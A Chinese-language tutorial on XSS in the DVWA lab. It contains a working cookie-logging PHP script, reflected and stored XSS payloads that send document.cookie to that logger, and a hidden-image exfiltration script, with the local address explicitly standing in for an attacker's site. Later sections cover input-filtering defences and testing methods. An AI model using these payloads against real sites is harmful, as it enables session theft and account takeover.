上一篇我們了解了XSS攻擊的原理,並且利用DVWA嘗試了簡單的XSS攻擊,這一篇我們來實現更復雜的攻擊,然后探討防御機制和測試理念。
前面我們通過腳本注入讓網頁彈出了用戶cookie信息,可以光彈窗是沒有什么用的,接下來我們想辦法把這些信息發送出去。
2.1 使用反射型XSS攻擊盜取用戶cookie
我們去網站的根目錄低下,新建一個cookie.php文件,寫入以下代碼:
<?php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen("cookie.txt","a"); fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie. "\r\n"); fclose($fp); ?>
這個php文件就是通過獲取‘c’參數,將瀏覽器的cookie值進行傳遞,並最終寫入同目錄下一個名為cookie.txt文件里。
接下來我們嘗試用反射型XSS攻擊來向這個php文件發送用戶cookie。
我們構造出這樣的URL:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
(注意我們只是在試驗XSS攻擊,所以備攻擊網站和攻擊者的網站我用了同樣的本地地址,實際中后一個127.0.0.1將會是黑客的網站地址)
在DVWA中,反射型XSS試驗頁面里,我們填入URL地址欄,回車發現並沒有起到效果。
進一步我們將以上URL進行字符轉義,構造成以下樣式:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location="http://127.0.0.1/dvwa/cookie.php?c="%2bdocument.cookie</script>
再次輸入地址欄並且訪問。結果是,用戶的cookie就被傳遞並且寫入我的cookie.txt文件里了:

到這里我們已經成功實現了使用反射型XSS攻擊盜取用戶信息的目的。拿到了用戶的cookie,我們就可以通過cookie替換,去登錄被盜者的賬號,后面能做的事情就有些不可描述了。
實際中的攻擊者會將這種帶攻擊URL經過偽裝,通過郵件或者聊天工具發送給被攻擊者。一旦打開這個鏈接,恭喜你你就已經中招了。
2.2 使用存儲型XSS攻擊盜取用戶cookie
接下來再來嘗試用存儲式攻擊實現同樣的目的。
我們先嘗試去到DVWA的留言板頁面,類似的我們直接寫入剛才用到的這段腳本:
<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>
提交以后,這段留言就被注入到了網頁源碼里面。下次只要有用戶訪問到這個留言板,那么就會把他的cookie信息發送給我,並被保存到我的文本文件里。
不過我發現這樣做,留言板頁面內容本身會有展示上的問題,攻擊容易被發現。
於是我們再多加一層處理,我們再在同樣的目錄下,新建一個cookie.js文件,寫入以下代碼:
var img = document.createElement('img'); img.width = 0; img.height = 0; img.src = 'http://127.0.0.1/dvwa/cookie.php?c='+encodeURIComponent(document.cookie);
可以看到我們引入了一個img元素,然后賦予他src值,指向的還是我們之前的cookie.php。
接下來再去到留言板,用代碼將這個js注入:
<script src="http://127.0.0.1/dvwa/cookie.js"></script>
提交保存,再次訪問這個留言板,我們發現用戶的cookie又被盜取到了:

2.3 XSS攻擊的防御:
之所以推薦DVWA這個應用,除了是我們很好的試驗學習場地之外,還有一點是他給我們提供了應對攻擊的方法。
去到\DVWA\vulnerabilities\xss_r\source目錄,可以看到,有4個不同安全級別的php文件,分別對應不同級別的防御方式:
Low:沒有任何防御
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
Medium:置換掉任何帶有<script>標簽的輸入
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>
High:通過正則表達式的搜索和替換置換掉<script>標簽
<?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } ?>
Impossible:使用htmlspecialchars函數把預定義的字符&、”、 ’、<、>轉換為 HTML 實體,防止瀏覽器將其作為HTML元素。
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
2.4 XSS攻擊的測試:
我們可以直接去審查網頁代碼,如果代碼在進行前后端交互的過程中,對於提交的變量沒有做encoding處理,那么可以預見就會有XSS攻擊風險。
也可以通過模擬攻擊的方式去測試:
檢查被測網站中,有沒有可以提交輸入的區域,比如文本輸入框,留言板功能。
檢查被測網站中,有沒有通過URL傳遞參數給后台處理的機制。
如果有這些特性,那么我們就可以通過模擬黑客攻擊,使用XSS腳本對於這些網頁進行測試。比如輸入區域,使用我們之前的彈窗XSS腳本,看看會不會彈窗,如果會那么說明網站是可被XSS攻擊的;對於URL我們通過參數的修改,在參數中插入XSS腳本執行,如果腳本執行成功,同樣說明網站是可被XSS攻擊的。
更推薦的其實是通過自動掃描工具去進行安全性測試。市面上這類工具很多,比如BurpSuite,Fiddler等等。
